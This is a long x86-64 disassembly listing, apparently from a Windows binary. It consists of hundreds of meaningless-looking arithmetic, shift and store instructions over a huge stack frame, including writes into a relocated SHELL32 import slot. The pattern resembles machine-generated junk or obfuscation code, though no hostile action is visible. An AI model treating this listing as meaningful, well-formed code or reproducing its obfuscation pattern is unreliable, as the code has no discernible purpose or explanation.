mov rax, qword [0x14017a0b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5418]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a3f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x189]
movzx ecx, byte [rsp + 0x17f]
sar eax, cl
mov byte [rsp + 0xd3], al
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xbe0]
xor eax, ecx
mov rcx, qword [rsp + 0x72b8]
mov word [rcx], ax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0x7918], rax
mov rax, qword [rsp + 0x6038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x123]
shl eax, cl
mov byte [rsp + 0x18c], al
lea rax, [rsp + 0x2d00]
mov qword [rsp + 0x7920], rax
mov rax, qword [rsp + 0x5740]
mov rcx, qword [rsp + 0x6410]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6750], rax
mov rax, qword [rsp + 0x6168]
mov qword [rsp + 0x7928], rax
mov rax, qword [rsp + 0x5be8]
mov ecx, dword [rsp + 0x2dd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28cc], eax
lea rax, [0x140178f58]
mov qword [0x14017a620], rax
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x6ff0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0xa14]
mov qword [rsp + 0x7930], rax
movsx eax, word [rsp + 0xc6c]
movsx ecx, word [rsp + 0xc08]
sub eax, ecx
mov rcx, qword [rsp + 0x57e8]
mov word [rcx], ax
lea rax, [rsp + 0x186]
mov qword [rsp + 0x7938], rax
mov rax, qword [rsp + 0x5708]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6390]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ab0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d40], eax
mov eax, dword [rsp + 0x2e98]
mov dword [rsp + 0x2f2c], eax
mov rax, qword [rsp + 0x6538]
mov rcx, qword [rsp + 0x61f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x6660]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a057], al
movzx eax, word [rsp + 0xd30]
mov word [rsp + 0xd6c], ax
movzx eax, byte [rsp + 0x143]
movzx ecx, byte [rsp + 0x102]
sub eax, ecx
mov rcx, qword [rsp + 0x63e8]
mov byte [rcx], al
mov rax, qword [0x14017a5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca8]
add eax, ecx
mov word [rsp + 0xb04], ax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x7940], rax
mov rax, qword [rsp + 0x5bb0]
mov rcx, qword [rsp + 0x5988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bf0], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x7948], rax
mov eax, dword [rsp + 0x2f10]
mov rcx, qword [rsp + 0x6d20]
mov qword [rsp + 0x7950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7950]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2c20], eax
lea rax, [rsp + 0x6910]
mov qword [rsp + 0x7958], rax
lea rax, [rsp + 0x51]
mov qword [0x14017a628], rax
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71b8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x70b0]
mov byte [rcx], al
lea rax, [0x140178f64]
mov qword [rsp + 0x7960], rax
movsx eax, byte [rsp + 0x124]
movsx ecx, byte [rsp + 0x10a]
sar eax, cl
mov byte [rsp + 0x142], al
lea rax, [rsp + 0x2d54]
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5970]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6dd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6088]
mov rcx, qword [rsp + 0x7100]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6580], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov dword [rsp + 0x2f30], eax
lea rax, [rsp + 0xb10]
mov qword [0x14017a630], rax
mov rax, qword [0x14017a518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7450]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcb4], ax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x7970], rax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x18f], al
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fc0]
mov qword [rsp + 0x7978], rax
mov eax, dword [rsp + 0x2a70]
mov ecx, dword [rsp + 0x2ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ee0], eax
lea rax, [rsp + 0x61f0]
mov qword [rsp + 0x7980], rax
mov rax, qword [rsp + 0x62d8]
mov rcx, qword [rsp + 0x5a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2df4], eax
movsx eax, byte [rsp + 0x1a1]
mov rcx, qword [0x14017a0b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a588]
mov byte [rcx], al
movzx eax, byte [rsp + 0x18f]
movzx ecx, byte [rsp + 0xc8]
add eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0x6f18]
movzx eax, byte [rax]
mov byte [rsp + 0x1ad], al
mov rax, qword [rsp + 0x5ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d38]
mov word [rcx], ax
lea rax, [rsp + 0x8d4]
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ac8]
shl rax, cl
mov rcx, qword [rsp + 0x7720]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f20]
mov dword [rsp + 0x2f34], eax
mov eax, dword [rsp + 0x2d14]
mov ecx, dword [rsp + 0x2c64]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a94], eax
mov rax, qword [rsp + 0x6358]
mov rcx, qword [rsp + 0x5c80]
mov qword [rsp + 0x7990], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7990]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x55b0], rax
mov rax, qword [rsp + 0x5ae8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
and eax, ecx
mov word [0x140178f3c], ax
mov rax, qword [rsp + 0x5e80]
movzx eax, word [rax]
mov word [rsp + 0xd70], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x6fb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6af8]
mov byte [rcx], al
lea rax, [rsp + 0x9e8]
mov qword [rsp + 0x7998], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x173]
sub eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x7808]
mov qword [rsp + 0x79a0], rax
mov rax, qword [rsp + 0x6388]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e08]
mov dword [rcx], eax
lea rax, [rsp + 0x5d68]
mov qword [rsp + 0x79a8], rax
movsx eax, byte [rsp + 0x9e]
movsx ecx, byte [rsp + 0x11a]
and eax, ecx
mov byte [rsp + 0xa0], al
lea rax, [rsp + 0x97c]
mov qword [0x14017a638], rax
mov rax, qword [rsp + 0x5090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov word [rsp + 0x8e4], ax
lea rax, [0x140178ece]
mov qword [rsp + 0x79b0], rax
movsx eax, word [rsp + 0x90c]
mov rcx, qword [rsp + 0x5910]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x6e80]
mov qword [rsp + 0x79b8], rax
mov rax, qword [rsp + 0x5618]
mov ecx, dword [rsp + 0x2c48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6bd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a88]
mov dword [rsp + 0x2f38], eax
mov rax, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x5f40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5f38]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x10e]
shl eax, cl
mov rcx, qword [rsp + 0x7230]
mov byte [rcx], al
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x52]
sar eax, cl
mov byte [0x140178eef], al
lea rax, [rsp + 0xa74]
mov qword [rsp + 0x79c0], rax
movsx eax, byte [rsp + 0x85]
movsx ecx, byte [rsp + 0x58]
xor eax, ecx
mov rcx, qword [rsp + 0x6dc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x4fa0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6aa0]
mov rcx, qword [rsp + 0x53e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6558]
mov dword [rcx], eax
mov rax, qword [rsp + 0x64f0]
mov eax, dword [rax]
mov dword [rsp + 0x2f3c], eax
mov rax, qword [rsp + 0x5888]
mov rcx, qword [rsp + 0x6a98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c18], rax
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
mov word [rsp + 0xd74], ax
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [reloc.SHELL32.dll_SHGetImageList], ax
movzx eax, byte [rsp + 0x17f]
movzx ecx, byte [rsp + 0x10b]
sub eax, ecx
mov rcx, qword [rsp + 0x6490]
mov byte [rcx], al
movsx eax, byte [0x140178eab]
mov rcx, qword [rsp + 0x7710]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8c], al
movzx eax, word [rsp + 0xbfc]
mov word [rsp + 0xd78], ax
mov rax, qword [rsp + 0x4ae0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6de8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ac8]
mov qword [rcx], rax
lea rax, [rsp + 0x7000]
mov qword [rsp + 0x79c8], rax
mov rax, qword [rsp + 0x6368]
mov rcx, qword [rsp + 0x70a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a6c], eax
mov eax, dword [0x14017a064]
mov ecx, dword [rsp + 0x2a38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dd0], eax
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x79d0], rax
lea rax, [rsp + 0xcc0]
mov qword [0x14017a640], rax
movsx eax, word [rsp + 0x96c]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7318]
mov word [rcx], ax
lea rax, [rsp + 0x1aa]
mov qword [rsp + 0x79d8], rax
mov rax, qword [rsp + 0x7340]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c10]
movzx eax, byte [rax]
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x6440]
mov rcx, qword [rsp + 0x67f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x64c8]
shl rax, cl
mov qword [rsp + 0x5ec8], rax
mov rax, qword [rsp + 0x4b80]
mov eax, dword [rax]
mov dword [rsp + 0x2f40], eax
mov eax, dword [0x14017a060]
mov rcx, qword [rsp + 0x68b0]
mov qword [rsp + 0x79e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x79e0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x28cc], eax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x7278]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a2c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5620]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
mov rax, qword [0x14017a5a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x938]
and eax, ecx
mov rcx, qword [rsp + 0x64f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7400]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov word [rsp + 0xd7c], ax
mov rax, qword [rsp + 0x6d98]
mov rcx, qword [rsp + 0x6548]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x75e0]
mov eax, dword [rax]
mov dword [rsp + 0x2f44], eax
mov rax, qword [rsp + 0x6300]
mov rcx, qword [rsp + 0x68d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ed8], eax
mov rax, qword [rsp + 0x5528]
mov rcx, qword [rsp + 0x55f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5628], rax
lea rax, [rsp + 0xc90]
mov qword [0x14017a648], rax
movzx eax, word [rsp + 0xa7c]
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7878]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa30], ax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0x79e8], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x186]
add eax, ecx
mov rcx, qword [rsp + 0x65b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2d24]
mov ecx, dword [0x14017a064]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5bd0]
mov qword [rsp + 0x79f0], rax
mov rax, qword [rsp + 0x52d8]
mov rcx, qword [rsp + 0x7468]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6f50]
mov qword [rcx], rax
lea rax, [0x14017a060]
mov qword [rsp + 0x79f8], rax
movsx eax, byte [rsp + 0xd9]
mov rcx, qword [rsp + 0x66b8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178ecf], al
mov rax, qword [rsp + 0x5e60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xea], al
lea rax, [0x14017a368]
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7860]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19a]
sar eax, cl
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0x7370]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6298]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc6c], ax
mov rax, qword [rsp + 0x66f0]
mov rax, qword [rax]
mov qword [rsp + 0x7a08], rax
mov rax, qword [rsp + 0x6158]
mov rcx, qword [rsp + 0x66c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e20], eax
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x7a10], rax
mov rax, qword [rsp + 0x71d8]
mov rcx, qword [rsp + 0x6988]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x52f8], rax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [0x140178ec3], al
mov rax, qword [rsp + 0x6268]
movzx eax, word [rax]
mov rcx, qword [0x14017a1f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa4c], ax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x7a18], rax
mov rax, qword [rsp + 0x6568]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaf4], ax
lea rax, [rsp + 0x133]
mov qword [rsp + 0x7a20], rax
mov rax, qword [rsp + 0x5310]
mov rcx, qword [rsp + 0x7a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5600]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56b8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x7a28], rax
mov rax, qword [rsp + 0x6e60]
mov ecx, dword [rsp + 0x2bac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x79f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [0x140178ef2], al
mov rax, qword [rsp + 0x7620]
movzx eax, word [rax]
mov word [rsp + 0xd84], ax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0x8bc]
and eax, ecx
mov word [rsp + 0xd64], ax
mov rax, qword [rsp + 0x7448]
movzx eax, byte [rax]
mov byte [rsp + 0x1b1], al
mov rax, qword [rsp + 0x76b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
shl eax, cl
mov byte [rsp + 0x11a], al
mov rax, qword [rsp + 0x7000]
mov rcx, qword [rsp + 0x6ea8]
mov qword [rsp + 0x7a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x68e0], rax
lea rax, [rsp + 0x5d68]
mov qword [rsp + 0x7a38], rax
mov eax, dword [rsp + 0x2e08]
mov ecx, dword [rsp + 0x2ec0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e44], eax
lea rax, [rsp + 0x2e84]
mov qword [rsp + 0x7a40], rax
mov rax, qword [rsp + 0x64f8]
movzx eax, word [rax]
mov word [0x14017a650], ax
mov rax, qword [rsp + 0x6e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x175]
or eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [0x14017a400]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58], al
movzx eax, word [rsp + 0xbe0]
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x54d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc00], ax
mov rax, qword [rsp + 0x5b80]
mov eax, dword [rax]
mov dword [rsp + 0x2f48], eax
mov rax, qword [rsp + 0x5768]
mov rcx, qword [rsp + 0x4b78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2acc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66a8]
mov dword [rcx], eax
lea rax, [rsp + 0x6df8]
mov qword [rsp + 0x7a48], rax
movzx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [reloc.SHELL32.dll_SHGetImageList], ax
mov rax, qword [rsp + 0x5578]
movsx eax, word [rax]
movsx ecx, word [0x14017a540]
sub eax, ecx
mov word [rsp + 0xa40], ax
mov rax, qword [rsp + 0x7140]
movzx eax, byte [rax]
mov byte [rsp + 0x1b2], al
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xac4]
add eax, ecx
mov rcx, qword [rsp + 0x5ca0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e5e]
sub eax, ecx
mov rcx, qword [rsp + 0x6aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov dword [rsp + 0x2f4c], eax
mov rax, qword [rsp + 0x6658]
mov rcx, qword [rsp + 0x6f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov dword [rcx], eax
lea rax, [rsp + 0x7100]
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x5de8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7460]
movzx eax, word [rax]
mov word [rsp + 0xd8c], ax
movzx eax, byte [rsp + 0x158]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov byte [0x140178e5e], al
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x918]
or eax, ecx
mov word [rsp + 0xd2c], ax
mov rax, qword [rsp + 0x7200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ce8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5c58]
mov byte [rcx], al
movzx eax, word [0x140178f08]
mov word [rsp + 0xd90], ax
mov rax, qword [rsp + 0x78b0]
mov ecx, dword [rsp + 0x2e50]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6728]
mov dword [rcx], eax
lea rax, [rsp + 0x6548]
mov qword [rsp + 0x7a58], rax
mov rax, qword [rsp + 0x6590]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6d90]
mov qword [rsp + 0x7a60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a60]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2c94], eax
mov rax, qword [rsp + 0x66c8]
mov rcx, qword [rsp + 0x69a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5e80]
movzx eax, word [rax]
mov word [rsp + 0xd94], ax
lea rax, [rsp + 0x185]
mov qword [0x14017a658], rax
movzx eax, byte [0x14017a0fc]
movzx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
lea rax, [rsp + 0xa5c]
mov qword [rsp + 0x7a68], rax
movzx eax, byte [rsp + 0xc1]
mov rcx, qword [0x14017a330]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
mov eax, dword [rsp + 0x2efc]
mov ecx, dword [rsp + 0x2b78]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov qword [rsp + 0x7a70], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x5990]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7720]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28cc]
mov dword [rsp + 0x2f50], eax
movsx eax, byte [rsp + 0xef]
movsx ecx, byte [rsp + 0x185]
add eax, ecx
mov rcx, qword [rsp + 0x6ed8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x67]
mov rcx, qword [0x14017a2e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ef3], al
lea rax, [rsp + 0x874]
mov qword [rsp + 0x7a78], rax
mov rax, qword [rsp + 0x6ed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcdc], ax
lea rax, [rsp + 0x5a68]
mov qword [rsp + 0x7a80], rax
mov rax, qword [rsp + 0x7178]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7408]
mov qword [rsp + 0x7a88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x6a68]
mov eax, dword [rax]
mov dword [rsp + 0x2f54], eax
mov rax, qword [rsp + 0x5ee0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5948]
mov qword [rsp + 0x7a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a90]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x6270]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
or eax, ecx
mov word [rsp + 0xa90], ax
movzx eax, byte [0x14017a193]
mov rcx, qword [rsp + 0x6550]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a130]
mov byte [rcx], al
mov rax, qword [rsp + 0x76d0]
movzx eax, byte [rax]
mov byte [rsp + 0x1b3], al
movsx eax, word [rsp + 0xd44]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
mov rax, qword [0x14017a078]
movzx eax, word [rax]
mov word [rsp + 0xd98], ax
mov rax, qword [rsp + 0x65b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6d38]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x5a90]
mov rcx, qword [rsp + 0x75e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5988]
mov dword [rcx], eax
lea rax, [0x14017a064]
mov qword [rsp + 0x7a98], rax
mov rax, qword [rsp + 0x6210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5140], rax
lea rax, [rsp + 0x73c0]
mov qword [rsp + 0x7aa0], rax
lea rax, [rsp + 0xc50]
mov qword [0x14017a660], rax
mov rax, qword [rsp + 0x67d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0xae8], ax
movzx eax, byte [rsp + 0xd4]
movzx ecx, byte [rsp + 0xb4]
and eax, ecx
mov rcx, qword [rsp + 0x6d00]
mov byte [rcx], al
lea rax, [rsp + 0xb2]
mov qword [rsp + 0x7aa8], rax
movzx eax, word [rsp + 0xac0]
movzx ecx, word [rsp + 0xd74]
add eax, ecx
mov word [rsp + 0xd50], ax
mov rax, qword [rsp + 0x4e80]
mov eax, dword [rax]
mov dword [rsp + 0x2f58], eax
mov rax, qword [0x140178e78]
mov rcx, qword [rsp + 0x6150]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7458], rax
mov eax, dword [rsp + 0x2b98]
mov dword [rsp + 0x2f5c], eax
mov rax, qword [rsp + 0x7890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x72a8], rax
mov rax, qword [rsp + 0x6028]
movsx eax, word [rax]
movsx ecx, word [0x140178ea0]
sub eax, ecx
mov rcx, qword [0x14017a648]
mov word [rcx], ax
movzx eax, word [rsp + 0x964]
movzx ecx, word [rsp + 0x93c]
xor eax, ecx
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x77a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1b4], al
mov rax, qword [rsp + 0x66d0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a198]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7430]
mov byte [rcx], al
mov rax, qword [rsp + 0x7340]
movzx eax, word [rax]
mov word [rsp + 0xd9c], ax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x62e0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7618]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5878]
mov rcx, qword [rsp + 0x6058]
mov qword [rsp + 0x7ab0], rcx
movzx ecx, al
